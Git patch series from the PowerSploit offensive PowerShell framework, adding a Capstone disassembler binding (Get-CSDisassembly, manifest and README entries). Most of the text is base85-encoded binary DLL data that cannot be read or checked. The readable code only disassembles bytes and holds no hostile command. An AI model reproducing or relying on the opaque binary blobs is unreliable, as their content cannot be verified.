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 literal 0 HcmV?d00001 diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 54156d2c..049c4919 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -79,6 +79,7 @@ ModuleList = @( @{ModuleName = 'PowerSploit'; ModuleVersion = '1.0.0.0'; GUID = @{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff'}, @{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'} + @{ModuleName = 'Capstone'; ModuleVersion = '1.0.0.0'; GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b'} ) # List of all files packaged with this module diff --git a/README.md b/README.md index 004d4afa..fbb0be26 100644 --- a/README.md +++ b/README.md @@ -80,6 +80,14 @@ Displays symbolic information from Windows lib files. Returns the path from which Windows will load a Dll for the given executable. +## Capstone + +**A PowerShell binding for the Capstone Engine disassembly framework.** + +#### `Get-CSDisassembly` + +Disassembles a byte array using the Capstone Engine disassembly framework. + ## ReverseEngineering **Tools to aid in reverse engineering.** From 7009f92ef3673dda56203d2cb6398e91900415c7 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Thu, 26 Dec 2013 19:30:41 -0500 Subject: [PATCH 023/365] Major update to Capstone disassembly module * Refactor of C# capstone binding * Now compatible in 32 and 64-bit PowerShell --- Capstone/Capstone.psd1 | 3 --- Capstone/Get-CSDisassembly.ps1 | 26 ++++++++++++------------- Capstone/lib/capstone.dll | Bin 78336 -> 80384 bytes Capstone/lib/{ => x86}/libcapstone.dll | Bin 6326103 -> 6327686 bytes 4 files changed, 13 insertions(+), 16 deletions(-) rename Capstone/lib/{ => x86}/libcapstone.dll (86%) diff --git a/Capstone/Capstone.psd1 b/Capstone/Capstone.psd1 index 6632558d..5da5a94a 100644 --- a/Capstone/Capstone.psd1 +++ b/Capstone/Capstone.psd1 @@ -24,9 +24,6 @@ PowerShellVersion = '3.0' # Minimum version of the common language runtime (CLR) required by this module CLRVersion = '4.0' -# Processor architecture (None, X86, Amd64) required by this module -ProcessorArchitecture = 'Amd64' - # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'lib/capstone.dll' diff --git a/Capstone/Get-CSDisassembly.ps1 b/Capstone/Get-CSDisassembly.ps1 index 89c17dba..257ba96c 100644 --- a/Capstone/Get-CSDisassembly.ps1 +++ b/Capstone/Get-CSDisassembly.ps1 @@ -10,9 +10,13 @@ function Get-CSDisassembly PowerSploit Function: Get-CSDisassembly Author: Matthew Graeber (@mattifestation) License: See LICENSE.TXT - Required Dependencies: lib\capstone.dll, lib\libcapstone.dll (64-bit) + Required Dependencies: lib\capstone.dll, lib\[x86|x64]\libcapstone.dll Optional Dependencies: None +.DESCRIPTION + + Get-CSDisassembly is compatible on 32 and 64-bit. + .PARAMETER Architecture Specifies the architecture of the code to be disassembled. @@ -43,13 +47,13 @@ function Get-CSDisassembly .EXAMPLE - C:\PS>$Bytes = [Byte[]] @( 0x8d, 0x4c, 0x32, 0x08, 0x01, 0xd8, 0x81, 0xc6, 0x34, 0x12, 0x00, 0x00 ) - C:\PS>Get-CSDisassembly -Architecture X86 -Mode MODE_16 -Code $Bytes -Offset 0x1000 + C:\PS>$Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 ) + Get-CSDisassembly -Architecture X86 -Mode Mode16 -Code $Bytes -Offset 0x1000 .EXAMPLE - C:\PS>$Bytes = [Byte[]] @( 0x8d, 0x4c, 0x32, 0x08, 0x01, 0xd8, 0x81, 0xc6, 0x34, 0x12, 0x00, 0x00 ) - C:\PS>Get-CSDisassembly -Architecture X86 -Mode MODE_32 -Code $Bytes -Syntax ATT + C:\PS>$Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 ) + Get-CSDisassembly -Architecture X86 -Mode Mode32 -Code $Bytes -Syntax ATT .INPUTS @@ -62,20 +66,16 @@ function Get-CSDisassembly Capstone.Instruction[] Get-CSDisassembly returns an array of Instruction objects. - -.NOTES - - Get-CSDisassembly must be run from 64-bit PowerShell v3. #> [OutputType([Capstone.Instruction])] [CmdletBinding()] Param ( [Parameter(Mandatory)] - [Capstone.ARCH] + [Capstone.Architecture] $Architecture, [Parameter(Mandatory)] - [Capstone.MODE] + [Capstone.Mode] $Mode, [Parameter(Mandatory)] @@ -103,8 +103,8 @@ function Get-CSDisassembly { switch ($Syntax) { - 'Intel' { $SyntaxMode = [Capstone.OPT_VALUE]::SYNTAX_INTEL } - 'ATT' { $SyntaxMode = [Capstone.OPT_VALUE]::SYNTAX_ATT } + 'Intel' { $SyntaxMode = [Capstone.OptionValue]::SyntaxIntel } + 'ATT' { $SyntaxMode = [Capstone.OptionValue]::SyntaxATT } } $Disassembly.SetSyntax($SyntaxMode) diff --git a/Capstone/lib/capstone.dll b/Capstone/lib/capstone.dll index bb085599b5b2c8880ee9a6de46329a4d9250ad5c..3f036ef0eda51167472868f25a4b89d46986f177 100644 GIT binary patch literal 80384 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 